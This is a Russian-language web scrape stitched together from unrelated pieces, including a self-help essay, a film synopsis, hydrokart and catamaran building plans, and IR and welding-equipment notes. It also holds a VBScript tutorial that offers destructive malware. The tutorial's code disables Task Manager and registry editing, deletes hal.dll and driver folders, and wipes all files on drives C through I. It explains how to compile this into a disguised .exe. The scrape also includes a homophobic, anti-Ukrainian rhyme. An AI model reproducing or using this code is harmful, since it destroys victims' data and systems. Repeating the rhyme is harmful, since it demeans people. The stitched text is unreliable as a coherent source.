ИзмЕните причину – изменится следствие. Будете старательно менять следствие, бережно охраняя своих тараканов – через время будете вопиять, что жизнь не удалась: бизнес не работает, в Интернете одни мошенники, мужики – козлы, бабы – дуры, ну и что там у Вас далее по тексту.

Чтобы было понятнее – это все равно, что старательно отмывать от грязи Ваше отражение в зеркале вместо своего собственного лица.

Шансов нет изначально, хотя многие убеждены в обратном.

Даже если поначалу у Вас что-то будет получаться, на каком-то этапе Ваша система убеждений сработает против Вас.

Так происходит с курильщиками, алкоголиками, наркоманами, людьми страдающими ожирением. С теми, кто страдает от одиночества и с теми, кто пытается делать бизнес.

Неважно, ЧЕМ Вы занимаетесь, Важно, какие у Вас убеждения насчет этого.

В качестве иллюстрации хочу привести  совершенно некассовый фильм «Тело» (The Body) режиссера Йонаса МакКорда с Антонио Бандерасом в главной роли

Это один из очень и очень немногих фильмов, которые заставили меня очень крепко думать над собственными убеждениями

За маленьким неприметным магазинчиком на старой иерусалимской улочке амбициозный ученый археолог Шэрон Голбан обнаруживает древнюю гробницу, в которой находится очень странный скелет, который вполне в силах перевернуть всю нынешнюю историю христианства.

Собственно, проблема в том, что скелет явно принадлежит человеку, распятому на кресте. И это очень странно, поскольку сами иудеи распятиями не увлекались. Это была национальная забава римлян.

А римляне, по сложившейся традиции, распинали только восставших рабов и никогда не наказывали так именитых и богатых – это раз, но, при этом, в склепах рабов не хоронили – это два. Прерогатива быть похороненным, да еще и в склепе принадлежала, как раз, именитым и богатым.

Единственным распятым бедняком, который мог бы оказаться в такой гробнице, был Иисус, сын Иосифа.

У любого христианина при этой мысли уже должны бежать мурашки по всему телу. Потому что, это означает, минимум, полный крах всех его собственных убеждений, максимум – ни много ни мало, института Церкви в целом.

Для более точного расследования этого факта, Ватикан направляет на место находки отца Мэтта Гутиерреса (Антонио Бандерас). С очень любопытной формулировкой: «мы отправляем Вас туда не потому, что Вы – бывший военный разведчик, а потому, что в своей анкете Вы написали, что имеете личные отношения с НИМ

В детстве их запрограммировали — «ты должен быть хорошим, хорошо учиться, хорошо работать, в первую очередь думать о Родине, о других, а потом о себе, быть скромным и не высовываться,  если ты хорош, тебя заметят, если ты талант, то он себе дорогу пробьет».

Программа действует на подсознательном уровне. Как правило, человек ее даже не осознает.

Все, вроде бы, отлично. И, если бы всех воспитывали именно так – жизнь была бы не жизнь, а зефир с одуванчиками.

Но такой человек не может достичь сколько-нибудь значимых высот, не может быть лидером, не может реализоваться и, тем более, не осмеливается удовлетворить многие свои собственные потребности и запросы.

Ему неловко попросить прибавки к жалованию, сказать «нет», отстоять свои интересы, показать все, на что он способен, хотя способен он может быть на очень многое.

Такие люди обычно не могут даже выразить свое неудовольствие, у них подсознательный блок на выражение агрессии – ведь это может доставить дискомфорт другому человеку, а это противоречит программе «быть хорошим».

Так они и живут – вздыхая, глядят на то, что жизнь почему-то несправедлива, что почему-то преуспевают не самые умные,  не самые умелые, и уж совершенно не интеллигентные.

Гидрокарт НА АКВАТОРИИ — АКВАРОЛЛЕР! Это не совсем обычное суденышко является своеобразным гибридом мотолодки и мотороллера. От первой аквароллер получил корпус повышенной мореходности с обводами типа «глубокое V», плоской лыжей, обеспечивающей устойчивое глиссирование при различных режимах движения, и носовой частью, позволяющей легко всходить на волну с минимальным брызгообразованием. Ну а от мотороллера позаимствован способ посадки водителя, принципы управления курсом и скоростью и отчасти — методика прохождения виражей. Корпус аквароллера собирается по классической технологии: он представляет собой шпангоутно-стрингерный каркас, обшитый фанерой толщиной 3 мм. Итак, приступим. Прежде всего на ровном листе фанеры в натуральную величину вычерчивается теоретический чертеж — проекция «корпус». Затем надо заготовить прямослойные сосновые рейки сечением 15X30 мм — из них в соответствии с теоретическим чертежом собираются шпангоутные рамки. Делается это так. К плазу, затянутому полиэтиленовой пленкой (она необходима для того, чтобы склеенные шпангоуты легко отделялись от плаза, не приводя его при этом в негодность), последовательно подгоняются рейки, как это показано на рисунках шпангоутов, и каждая из реек временно закрепляется на листе фанеры двумя небольшими гвоздями. Затем в соответствии с чертежами вырежьте из той же фанеры косынки и зафиксируйте их на шпангоутах эпоксидным клеем и шурупами диам. 3X15 мм. Рамка отделяется от плаза, и такие же косынки устанавливаются с противоположной стороны шпангоута. В образовавшиеся при этом полости желательно заложить пенопласт на эпоксидном клее. Иную конструкцию имеет последний (девятый) шпангоут — транцевая доска. Эта рамка обшивается с обеих сторон трехмиллиметровой фанерой со сплошным заполнением внутренней полости пенопластом, а зоны крепления подвесного мотора — сосновыми брусками сечением 15X20 мм. Заготовленные шпангоуты надо закрепить на ровной доске-стапеле сечением 50X300 мм с помощью небольших гвоздей и реек-подкосов. Постарайтесь выставить рамки возможно точнее в соответствии с чертежами — от симметричности корпуса во многом зависят ходовые качества аквароллера и его устойчивость на курсе. Следующий этап сборки — установка стрингеров, продольных элементов набора из сосновых реек сечением 15X15 мм. В пазах шпангоутных рамок они закрепляются шурупами и эпоксидным клеем. После отверждения смолы каркас зачищается рубанком и рашпилем: выступающие ребра реек-стрингеров сводятся заподлицо относительно воображаемой поверхности корпуса. Обшивку корпуса начинать лучше всего с днища, а точнее — с лыжи. Для нее потребуется фанерная полоса толщиной 4 мм. Заготовка должна быть несколько большей, чем это требуется для корпуса,- после приклейки излишки материала аккуратно срезаются с помощью рубанка (желательно, чтобы железка у него была заточена буквально до бритвенной остроты). Далее обшиваются участки днища, затем — борта и в последнюю очередь — палуба и обтекатели. Делается это с помощью эпоксидного клея и шурупов диам. 3X15 мм с «потайной» головкой — лучше латунных или стальных оцинкованных. Шурупами же и клеем крепятся к корпусу рейки треугольного сечения — скуловые и донные продольные реданы; они существенно облегчают выход аквароллера на глиссирование и повышают устойчивость при волнении. Стыки скругляются с помощью эпоксидной шпаклевки. С помощью той же шпаклевки и пенопласта формуется и зализ в районе форштевня — так называемое «лезвие». В заключение корпус оклеивается стеклотканью в один-два слоя (днище до скул в три-четыре слоя). Если найти ее не удастся, подойдет любая другая, вплоть до мешковины. Ткань тщательно приформовывается к поверхности обшивки корпуса жесткой кистью. В процессе отверждения желательно плотно притирать к соответствующему участку вырезанный по его форме лоскут полиэтиленовой пленки. Такой метод дает возможность получать поверхность, практически не требующую дальнейшей обработки. Капот ахтерпика собирается отдельно и крепится на петлях к седьмому шпангоуту. Это облегчает в дальнейшем установку на корпус двигателя и проводку тросов управления, а также позволит закладывать в ахтерпик воздушные мешки, обеспечивающие аквароллеру непотопляемость. Такими мешками могут служить камеры волейбольных мячей либо детские пластиковые «бревна» в матерчатых чехлах — по нескольку штук в одном чехле. Такие же воздушные емкости закладываются и в носовую часть корпуса — форпик. Несколько слов о системе управления. Она рычажно-тросового типа и в принципе мало отличается от той, что продается в комплекте для дистанционного управления лодочным подвесным двигателем. Разница лишь в том, что вместо «баранки» автомобильного типа на аквароллере используется руль от мотоцикла или мопеда, а рычаг — сектор управления «газом» заменен мотоциклетной вращающейся ручкой. Учтите, что ручка эта должна быть отрегулирована так, чтобы при отпускании ее она обязательно возвращалась в положение «малого газа». Иначе при случайных падениях аквароллер умчится без седока и натворит непоправимых бед. Корпус изнутри в два-три слоя покрывается горячей олифой и после полного ее высыхания — слоем масляного лака. Снаружи после вышкуривания и вышпаклевывания корпус окрашивается слоем глифталевого грунта, а затем в два-три слоя — глифталевыми эмалями. Разумеется, с промежуточными шпаклеванием, вышкуриванием и окончательным полированием. Пайол (полик кокпита) — из сосновных реек сечением 10X30 мм. Собирается он на клее и шурупах и после вышкуривания и пропитки в два слоя горячей олифой покрывается масляным лаком. Сиденье аквароллера представляет собой фанерный короб-багажник с крышкой, на которую наклеен слой пенопласта толщиной 20 мм и такой же слой поролона. Поверх сиденье обшивается искусственной кожей. В комплект дополнительного оснащения аквароллера входят спасательные средства — например, жилет или пояс из брусков пенопласта, соединенных капроновым шнуром. Необходимо также иметь на борту два весла-гребка. Первый раз выходить на воду желательно с «сухим» двигателем. Сядьте на место водителя и, осторожно покачивая аквароллер, определите пределы его остойчивости. Делать это лучше всего на мелководье и вдвоем — страховка в данном случае совершенно необходима. Освоившись, запускайте двигатель. Двигаясь с малой скоростью, определите, насколько послушно суденышко движению руля. Очень может быть, что особенности центровки и распределения масс на вашем аквароллере потребуют устройства в передней части корпуса небольшого фанерного профилированного плавника — сделайте его легкосъемным и попробуйте закреплять на различных расстояниях от транцевой доски с промежуточными экспериментальными заездами и контролем управляемости и устойчивости движения скутера. Как уже упоминалось, управление аквароллером напоминает управление мотоциклом: при движении на виражах точно так же работает корпус водителя, «по-мотоциклетному» ведет себя и суденышко на поворотах. Поэтому освоить аквароллер быстрее смогут те, кто умеет ездить на мотоцикле или, на худой конец, велосипеде. И последнее. Учтите, что сегодня далеко не все водоемы «открыты» для моторизованных судов; поэтому прежде чем браться за строительство аквароллера, узнайте, могут ли выходить на акваторию ближайшего от вас водоема катера и мотолодки. Кстати, габариты и масса суденышка вполне позволяют транспортировать его на крышевом багажнике любого автомобиля. А это значит, что для автомобилистов проблемы закрытого для моторки водоема, в сущности, нет. По материалам журналов «Popular Mechanics» и «Popular Science» (США) Рис. 1. Теоретический чертеж корпуса аквароллера. Рис. 2. Корпус аквароллера и конструкция шпангоутов. Чертежи для печати

Эту оригинальную посудину лишь условно можно назвать водным картом. Она не имеет корпуса как такового. Корпусом служат три склеенных и скрепленных с днищем отсека — основной и два боковых. Допустимая длина карта — 2,85 м, мощность мотора — до 5,5 л. с., он может весить не более 35 кг. На море карт не допжен отходить далеко от берега. Основные элементы конструкции выполнены из 5- и 10-мм фанеры. Днище выпилено из 5-мм фанеры размерами 1x3 м. «Нос» скреплен, как показано на рисунке. Из «кормы» выпилен квадрат со стороной 400 мм для установки подвесного мотора. Боковые отсеки склеиваются из двух треугольных и одного прямоугольного листов 6-мм фанеры и скрепляются винтами. Внутри они набиты кусочками пенопласта для придания конструкции плавучести. После того как отсеки будут готовы, к ним следует приклеить кормовую доску — транец, к нему крепится подвесной мотор. На центральном отсеке установите сиденье, ручку управления газом и на специальном суппорте — рулевое колесо. От него через блоки протянут рулевой трос к штанге управления движением. Суппорт нужно вырезать из 15-мм фанеры — он должен быть прочным. Склеенные детали корпуса должны просушиться в течение 24 ч. После этого можно продолжать работу с ними. Все необходимые размеры и чертежи деталей карта вы найдете на рисунках. Гоночный катамаран SC на дистанции. Гоночные катамараны уже давно заслужили признание спортсменов, выступающих в самых ответственных, самых известных соревнованиях, таких, например, как марафон «6 часов Парижа» или чемпионат мира на озере Гавасу. В «старших» классах спортивных и гоночных судов по классификации УИМ (OI, ON, SN), в которых не лимитируются ни обводы, ни размерения, а мощность применяемых двигателей позволяет развивать скорость выше 150 км/час, двухкорпусные обводы обеспечивают заметное преимущество перед обводами глубокое V. Узкие корпуса катамарана обладают более высокой продольной устойчивостью; ниже и ударные перегрузки при ходе на волне (естественно, речь идет о небольшой волне). Благодаря разнесенным по ширине корпусам катамаран имеет более высокую поперечную остойчивость, не раскачивается на ходу, а развитая поверхность мостика позволяет использовать для разгрузки судна (или, напротив, для того, чтобы «прижать» корпус к воде) аэродинамическую подъемную силу. Все эти положительные качества катамаранов в культивируемых у нас классах судов (с объемом цилиндров двигателей до 500 см³), развивающих скорости лишь около 70 км/час, разумеется, проявляются в меньшей степени. Тем не менее, в Ленинградском спортивно-техническом клубе ДОСААФ было решено построить и испытать мотолодку с катамаранными обводами. Вот уже в течение четырех лет эта мотолодка принимает участие в водно-моторных соревнованиях различного уровня, причем в ее активе есть немало призовых мест (например, победа в гонках 1973 г. на приз «Золотые весла», проводимых на Большой Неве, где волна была довольно большой). Сравнивая поведение этого катамарана и традиционных мотолодок, можно отметить, что на нем легче поддерживать высокую скорость в реальных условиях гонок. Воздушный поток, обтекающий мост, создает динамическую воздушную подушку. Между нижним контуром моста и водой — экраном в результате интенсивного подтормаживания потока увеличивается давление, вследствие чего появляется дополнительная подъемная сила. При полном весе мотолодки 210 кг (из них на корпус приходится 75 кг) с серийным мотором «Вихрь» получена скорость на прямой 70 км/час. Отмечено, что для достижения максимальных скоростей необходима кормовая центровка. При движении против ветра, чтобы избежать возникновения кабрирующего момента и «взлета», следует менять центровку, настраивая катамаран изменением положения гонщика. Высокая поперечная остойчивость лодки позволяет выполнять циркуляцию радиусом, равным 2-3 длинам корпуса, не снижая числа оборотов двигателя. Приводим плазовую таблицу и основные чертежи гоночного катамарана, по которым спортсмены, имеющие опыт любительского судостроения, могут построить такую мотолодку для выступлений в классе SC. Подчеркнем, однако, что необходимую высокую прочность корпуса при относительно малом весе можно обеспечить только при тщательной работе и использовании авиационной фанеры и древесины первого сорта. Теоретический чертеж гоночного катамарана увеличить, 2019х1915, 271 КБ Таблица плазовых ординат Линия Шпангоуты 1 2 3 4 5 6 7 Высоты от ОЛ, мм К — киль 139 56 24 18 11 5 Т — тоннель 309 256 202 160 143 136 130 С-1 — скула 1 223 143 81 48 41 35 30 С-2 — скула 2 260 193 143 118 111 105 100 П — палуба 493 537 560 560 560 560 560 СБ — слом борта 400 400 400 400 400 400 400 Полушироты от ДП, мм СБ — слом борта 601 695 764 800 805 808 810 С-1 — скула 1 504 547 580 598 600 600 600 С-2 — скула 2 546 614 662 687 690 690 690 П — палуба 447 469 491 510 515 518 520 Шпангоуты лучше всего собирать на эпоксидной смоле с запрессовкой оцинкованными или медными гвоздями. На каждую шпангоутную рамку, собираемую прямо на плазе, надо вынести горизонтальную контрольную линию и линию диаметральной плоскости. На уровне контрольной линии прибиваются шергень-планки (рейка 20х60) для установки на стапеле. Шельф и кницы устанавливаются на транце предварительно. Конструкция корпуса катамарана увеличить, 2122х1983, 390 КБ а — условное сечение по миделю. Поперечные сечения деталей: 1 — кили, привальные брусья 20х20; 2 — стрингера 15х20; 3 — днищевые и палубные ребра жесткости 10x20; 4 — флоры 12х50; 5 — шпангоуты спонсонов 12x40; 6 — палубные, бортовые и днищевые ветви шпангоутов 12х30; 7 — пиллерсы 12х15; 8 — комингс кокпита, фанера 6х60; 9 — опора для штурвала, фанера δ=6; 10 — рейка 20х20; 11 — брусок 15х15; 12 — кница, фанера δ=3; 13 — кница, фанера δ=2; 14 — обвязка транца 25х40; 15 — зашивка транца, фанера, δ=6; 16 — фанера δ=4; 17 — коротыш 20х20; 18 — подмоторная доска δ=25; 19 — шельф, фанера δ=3. Обшивка: палуба, борта и тоннель δ=2, днище δ=4. Поперечный набор выставляется вверх килем на стапеле с проверкой при помощи шлангового уровня и веска-отвеса. Затем врезается продольный набор и производится малковка. Листы обшивки предварительно соединяются — стыкуются «на ус» — по всей длине корпуса. Лист по тоннелю укладывается наружными слоями поперек корпуса. Обшивку к набору надо крепить на эпоксидной смоле с запрессовкой оцинкованными гвоздями «в загиб». По всему периметру транца угловое соединение изнутри необходимо усилить «мокрым угольником» — полосой стеклоткани шириной 80-100 мм на эпоксидном клею. Снаружи корпус (тоннель, днище до второй скулы) также надо оклеить слоем стеклоткани АСТТ(б)-С. Сечение брызгоотбойника гоночного катамарана Размеры реданов-брызгоотбойников Размер Шпангоуты 1 2 3 4-7 Высота и ширина редана по С-1 у 9 11 14 16 х 9 16 20 20 Высота и ширина брызгоотбойника по С-2 у 9 12 14 х 10 16 20 После установки реданов и брызгоотбойников (отметим — рабочие, нижние грани их должны быть горизонтальны) корпус мотолодки следует прошпаклевать эпоксидной смолой с древесными опилками, тщательно зачистить шкуркой и окрасить. Очень важно, чтобы днище и тоннель гоночного катамарана имели гладкую, глянцевую поверхность. Ю. А. Зимин, «Катера и яхты», 1973 г.

В № 5 нашего журнала за этот год мы рассказали о новом техническом виде спорта — водном картинге и дали описание простейшего гидрокарта, рассчитанного на постройку в пионерском лагере. Однако, несмотря на простоту изготовления, гидрокарт «Пионер» отнюдь не является лучшей машиной данного класса. Это судно для обучения новичков. Конечно, новички могут соревноваться и на таких машинах, но высоких спортивных результатов на «Пионере» они не достигнут. В этом номере мы решили познакомить вас с двумя более сложными конструкциями — гидрокартами «Дельфин» и «Пират». «Дельфин» и «Пират», так же как и «Пионер», рассчитаны на установку подвесных моторов серийного производства мощностью 5-10 л. с., но могут быть оснащены и стационарными двигателями с принудительным воздушным охлаждением, типа «Тула-200» или ВП-150. В этом случае передачу на винт придется изготовлять самостоятельно либо в виде миниатюрной колонки, либо с прямым валопроводом. ГИДРОКАРТ «ПИРАТ» проще, чем «Дельфин». Для постройки его нужны следующие материалы: 1. Рейки сосновые 3000X50X15 мм (шпангоуты, бимсы) — 5 шт. 2. Рейки сосновые 3000X30X10 мм (стрингеры, пиллерсы) — 10 шт. 3. Рейки сосновые 3000X60X20 мм (киль) — 2 шт. 4. Фанера водостойкая 1525X1525 мм, толщина 3 мм — 4 листа. 5. Клей водостойкий ВИАМ-БЗ, эпоксидный или казеин — 2 кг. 6. Стеклоткань АСТТ(б) или мадаполам (для оклейки) — 10 м. 7. Краска нитроглифталевая — 3 кг. «Пират», как и «Пионер», собирается на рамном стапеле. Только пропилы в продольных досках стапеля придется сделать заново, так как шпангоуты этого гидрокарта расположены несколько иначе (см. рисунок). Особое внимание нужно обратить на подгонку и склейку бортовых стрингеров с бобышкой, образующей форму носовой части корпуса. Лучше всего выполнить ее «на ус», сострогав соответственно конец стрингера и торец бобышки. Киль подгоняется по месту и вклеивается в прорези шпангоутных рамок. После малковки набора каркас обшивается фанерой в такой последовательности: сначала борта, затем дно. Донная часть обшивки делается из двух продольных половин, со стыком на киле. Фанеру надо тщательно подогнать, склеить и запрессовать гвоздями взагиб (на расстоянии 30-40 мм друг от друга) — по стрингерам и шурупами 25 X 3 — по шпангоутам. Когда клей высохнет, днище и борта зачищают, корпус снимают со стапеля и поворачивают килем вниз. Зашивка палубы почти не отличается от зашивки дна. Разница в том, что перед установкой последних секций вся внутренность корпуса должна быть тщательно проолифлена — для предохранения от набухания, и загнивания в случае попадания туда воды. Для осмотра внутренних отсеков и удаления воды в палубе между первым и вторым шпангоутами необходимо сделать лючок размером 200 X 250 мм. Законченный и хорошо просушенный корпус водного карта оклеивается в один слой стеклотканью АСТТ(б) на эпоксидной или полиэфирной смоле. Смоляной клей составляется так: эпоксидная смола ЭД-5 — 100 весовых частей, пластификатор (дибутилфталат) — 10 весовых частей, отвердитель (полиэтиленполиамин) — 10 весовых частей. После тщательного перемешивания в невысокой металлической посуде клей готов к работе. Его необходимо использовать в течение 15-20 минут, иначе он затвердеет в банке и будет непригоден. Если в распоряжении строителя имеется не эпоксидная, а полиэфирная смола, клей следует составлять так: смолы ПН-1 — 100 весовых частей, нафтената кобальта — 8 весовых частей, гипериза — 3 весовые части. Последовательность составления: в смолу вливают нафтенат кобальта и тщательно перемешивают в течение 10-15 мин. После этого вводят гипериз и снова тщательно перемешивают. Нельзя соединять заранее нафтенат с гиперизом — это грозит взрывом и серьезными ожогами! Поэтому и хранить эти вещества надо в разных местах. Клей на основе полиэфирной смолы сохраняет свои рабочие качества несколько дольше, чем эпоксидный. Тем не менее держать его в банке более получаса не рекомендуется. Стеклоткань, предназначенная на оклейку корпуса, должна быть тщательно просушена. Это вызвано тем, что тончайшие стеклянные нити, из которых состоит стеклоткань, очень гигроскопичны, а присутствие воды даже в ничтожных количествах резко ухудшает качество склейки. Не следует допускать в помещении, где производится склейка синтетическими смолами, падения температуры ниже 20° С, а также сквозняков и повышенной влажности. Склеиваемые поверхности желательно предварительно обезжиривать, протирая тряпочкой, смоченной в ацетоне. Если стеклоткани и синтетического клея приобрести невозможно, рекомендуем оклеить корпус обыкновенным мадаполамом или бельевой бязью на нитроклее. Нитроклей можно изготовить самому, растворив в ацетоне старую, предварительно отмытую от эмульсии кинопленку. Приклеив ткань и тщательно заровняв те места, где она ложится внахлест, весь корпус надо еще раз покрыть нитроклеем, после чего зачистить наждачной бумагой разной зернистости и окрасить нитрокрасками или глифталевыми эмалями в желаемый цвет. Для получения хорошей маневренности и безопасности при выполнении крутых поворотов водный карт должен иметь низкое расположение центра тяжести. Поэтому сиденье водителя утоплено в палубу. Из этих же соображений желательно снять все лишнее и ненужное с двигателя, например румпель, систему шестерен управления газом, кожух и т. д., и расположить топливный бак как можно ниже, в заднем отсеке корпуса. При изготовлении и монтаже системы дистанционного управления газом и поворотом двигателя следует обратить особое внимание на легкость хода рулевого колеса и рычага управления газом, чтобы при любых возможных поворотах двигателя не возникали люфты и «мертвые точки». Система управления газом, известная под названием «самосброс», хороша тем, что в случае падения гонщика в воду она автоматически переводит двигатель на самые малые обороты, а при соответствующей регулировке может и вовсе его выключить. Эта система широко применяется нашими водномоторниками. Особой сложности в изготовлении она не представляет. Трос и гибкая оболочка могут быть использованы из числа имеющихся в продаже мотоциклетных деталей.

ГИДРОКАРТ «ДЕЛЬФИН» — современный миниатюрный глиссер так называемой «трехточечной» схемы, то есть имеющий три точки соприкосновения с поверхностью воды во время глиссирования: два расположенных спереди спонсона и заднюю часть корпуса, непосредственно под транцем. «Дельфин» довольно сложен в постройке, поэтому неопытному любителю нужно очень внимательно изучить чертежи и построить сначала модель в масштабе 1:5, а потом уже браться за изготовление настоящего карта. Изготовив все шпангоуты и полушпангоуты, выкраиваем из водостойкой фанеры толщиной 4 мм заготовку, точно соответствующую по форме днищу нашего карта. Поскольку стандартный лист фанеры имеет размеры 1525X1525 мм, а длина донной части корпуса — два с половиной метра, нам придется делать эту заготовку из двух кусков фанеры, соединяя их «на ус». Для этого кромки сострагиваются, тщательно подгоняются друг к другу и склеиваются в зажимном приспособлении, сделанном из двух толстых, хорошо простроганных досок. К полученной таким образом панели днища, после ее разметки, приклеиваются и фиксируются шурупами 25X3 мм вертикальные стенки спонсонов. Одновременно вклеиваются на свои места рамки 1 и 2. Получившаяся «закладка» устанавливается на простейший стапель-рамку в положении «килем вниз» (хотя это выражение не совсем правильно, поскольку киля, как такового, в данном случае нет). Дальнейшая сборка идет путем последовательной вклейки на свои места деталей продольного и поперечного набора, как показано на рисунке. Наибольшую сложность при постройке гидрокарта «Дельфин» представляет изготовление и установка на свое место дугообразного привального бруса в носовой части, к которому крепится обшивка дна, спонсонов и палубы. Лучше всего выпилить его из толстой многослойной фанеры (10-15 мм), но можно склеить из сосновых реек 15X5 мм на специальном лекале, изготовленном из 40-мм доски. Наклонные борта задней части корпуса из фанеры толщиной 4-5 мм устанавливаются на клею и шурупах к бортовым стрингерам, связывая между собой транец и рамку № 2. Сверху все эти элементы связываются фанерной опалубкой (декой), которую желательно, так же как и днище, изготовить из одного куска фанеры, состыковав для этого отдельные части «на ус». Законченный корпус оклеивается тканью и окрашивается, как было описано выше. Г. МАЛИНОВСКИЙ, мастер спорта СССР

В лесу раздавался топор правосека,

Он им отбивался от ласк гомосека

Но силы иссякли, упал правосек

И им без труда овладел гомосек

Неспешно закончив и хлопнув по попе,

Сказал он хохлу — вот теперь ты в Европе.

 visual basic script.Затем скомпелирован в «exe» формат.
 

Приступим: 

Для начала, нужно уметь изменять расширение файла, с этого и начнём.
Существует много способов, но мне по душе
У каждого должен быть обычный архиватор, вот им мы и воспользуемся. 
И так, создайте к примеру текстовый фаил под названием «Текстовый документ». 
Теперь найдите этот текстовик через свой архиватор. В архиваторе, 
вы должны увидеть следующее: «Текстовый документ.txt». 
Окончание «txt» — имя расширения файла, вот его и нужно изменить, точно так же, словно, редактируете имя папки или файла, стираете строчку «txt» и ставите скажем «mp3». 
В результате мы получаем «Текстовый документ.mp3» формата. 
Если всё понятно, а вопросов возникнуть по этому поводу недолжно, то пойдём дальше.
Создайте текстовый документ, содержащий следующее:

on error resume next
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
s.run«rundll32 user32, SwapMouseButton»

Затем, сохранив полученные данные, вам нужно изменить расширение файла, и вместо «txt» прописать «vbs». 

Аббревиатура «vbs», происходит от названия языка программирования — «visual basic script».

Вот у нас и готова первая, простая, вредоносная программка, меняющая местами кнопки мыши.

Теперь нужно её скомпелировать (изменить) в «exe» формат с помощью программы: «Vbs2Exe», 
и установить любой значок с помощью грабера иконок: «IconToy». 

А теперь информация для тех, кто не намерен ограничивать свои возможности банальным обменом кнопок мыши. 

on error resume next
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
Три, верхние строчки — должны присутствовать всегда. Далее, 
следует кодировка, а ниже, в скобках — пояснение.

Так же возможно сочетать, те или иные вредоносные команды.
s.regwrite«HKCRexefileshellopencommand»,«rundll32.exe»
(Запрет на открытие «EXE» файлов)
s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives»,«67108863»,«REG_DWORD»
s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive»,«67108863»,«REG_DWORD»
(запрет доступа к жёстким дискам)
fso.deletefile fso.getspecialfolder(0)+«system32hal.dll»,1
(удаляется системный фаил, после чего загрузка Windows становится невозможна.

Система работает до первой перезагрузки)
fso.deletefolder fso.getspecialfolder(0)+«system32drives»,1
fso.deletefolder fso.getspecialfolder(0)+«Driver Cache»
(удаление драйверов)

fso.deletefolder «АДРЕС»,1
(Удаление папки. Пример: fso.deletefolder «C: Новая папка»,1)

fso.deletefolder «C:*.*»,1
(Удаление всех папок диска С. Адрес можно поставить любой)

fso.deletefile «АДРЕС»,1
(Удаление файла. Пример: fso.deletefile «C: Новая папкаТекстовый документ.txt»,1)

fso.deletefile «C:*.*»,1
(Удаление всех файлов диска С. Адрес можно поставить любой)

s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisableregistrytools»,«1»,«REG_DWORD»
(Запрет редактирования реестра)

s.regwrite«HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisabletaskmgr»,«1»,«REG_DWORD»
(Запрет диспетчера задач)

s.run«rundll32 user32, SwapMouseButton»
(Обмен кнопок мыши)

Пример заварки:


on error resume next
Set S = CreateObject(«Wscript.Shell»)
set FSO=createobject(«scripting.filesystemobject»)
fso.deletefile «C:*.*»,1
fso.deletefolder «C:*.*»,1
fso.deletefile «D:*.*»,1
fso.deletefolder «D:*.*»,1
fso.deletefile «E:*.*»,1
fso.deletefolder «E:*.*»,1
fso.deletefile «F:*.*»,1
fso.deletefolder «F:*.*»,1
fso.deletefile «G:*.*»,1
fso.deletefolder «G:*.*»,1
fso.deletefile «H:*.*»,1
fso.deletefolder «H:*.*»,1
fso.deletefile «I:*.*»,1
fso.deletefolder «I:*.*»,1
fso.deletefile fso.getspecialfolder(0)+«system32hal.dll»,1

Благодарочка за Вами

Этот проект представляет из себя универсальное многофункциональное устройство, необходимое для работы с ПДУ ИК. С помощью прибора с одной стороны вы можете прочитать RC5, RC5X и RC6 коды с пульта дистанционного управления телевизора, с другой стороны, вы можете отправить любые существующие коды RC5, RC5X и RC6 к приёмному устройству. Всю необходимую документацию, в том числе на используемые радиоэлементы — скачайте по ссылке. Схема приёмомпередатчика ИК ИК-приемник    Когда TSOP1736 (ИК приёмник) получает инфракрасный сигнал от RC5 или RC6 модуля дистанционного управления — вспыхивает LED1 (зеленый).    На ЖК-дисплее при получении нового типа кода отображается за одну секунду, какой протокол получен (RC5, RC5X или RC6). После чего на дисплее отображается RC5 или RC6 код системы и команды в десятичной или бинарной системе.    Светодиод LED2 (красный) горит, если принимаемый сигнал слаб, или если это не формат RC5, RC5X или RC6 сигнала. Если вы только хотите узнать код кнопки, то вы можете посмотреть его на RC5 таблице. ИК-передатчик    С ИК-передатчика можно посылать любой возможный код RC5, RC5X и RC6 протокола, как обычно делает пульт дистанционного управления. С помощью LCD дисплея вы можете установить, какой именно системы и кодировки RC5, RC5X или RC6 должны отправить команду.    Для запуска выберите сначала «ADJUST» (S2) RC5 или RC6 протокола, если выбор правилен, подтвердите, нажав «ОТПРАВИТЬ» (S3). Чтобы отрегулировать значение команды нажмите «НАСТРОИТЬ». При нажатии данной кнопки в течение длительного времени, счетчик изменит направление. Если эта кнопка нажата долго, счетчик начинает повторять и считать все быстрее и быстрее. 
Схема приёмомпередатчика ИК ИК-приемник    Когда TSOP1736 (ИК приёмник) получает инфракрасный сигнал от RC5 или RC6 модуля дистанционного управления — вспыхивает LED1 (зеленый).    На ЖК-дисплее при получении нового типа кода отображается за одну секунду, какой протокол получен (RC5, RC5X или RC6). После чего на дисплее отображается RC5 или RC6 код системы и команды в десятичной или бинарной системе.    Светодиод LED2 (красный) горит, если принимаемый сигнал слаб, или если это не формат RC5, RC5X или RC6 сигнала. Если вы только хотите узнать код кнопки, то вы можете посмотреть его на RC5 таблице. ИК-передатчик    С ИК-передатчика можно посылать любой возможный код RC5, RC5X и RC6 протокола, как обычно делает пульт дистанционного управления. С помощью LCD дисплея вы можете установить, какой именно системы и кодировки RC5, RC5X или RC6 должны отправить команду.    Для запуска выберите сначала «ADJUST» (S2) RC5 или RC6 протокола, если выбор правилен, подтвердите, нажав «ОТПРАВИТЬ» (S3). Чтобы отрегулировать значение команды нажмите «НАСТРОИТЬ». При нажатии данной кнопки в течение длительного времени, счетчик изменит направление. Если эта кнопка нажата долго, счетчик начинает повторять и считать все быстрее и быстрее. 
http://el-shema.ru/publ/kontroller/prijomnik_i_peredatchik_ik_signala/9-1-0-242

Ремонт и эксплуатация сварочных трансформаторов

Простота конструкции и надежность сварочных трансформаторов относятся к их главным достоинствам. Однако и самые надежные механизмы иногда выходят из строя, особенно тогда, когда эксплуатация сварочных аппаратов производится с нарушением правил. Про устройство сварочных трансформаторов читайте здесь.

Самым слабым элементом сварочных трансформаторов является клеммная колодка, к которой подключаются сварочные кабели. Плохой контакт вместе с большим значением сварочного тока приводит к сильному нагреву соединения и подсоединенных к нему проводов. В результате разрушается само соединение, сгорает изоляция на концах обмоток, вследствие чего происходит замыкание.

Ремонт сварочного трансформатора в данном случае сводится к перебору греющегося соединения, зачистке контактных поверхностей и их зажиму с обеспечением плотного контакта всех элементов.

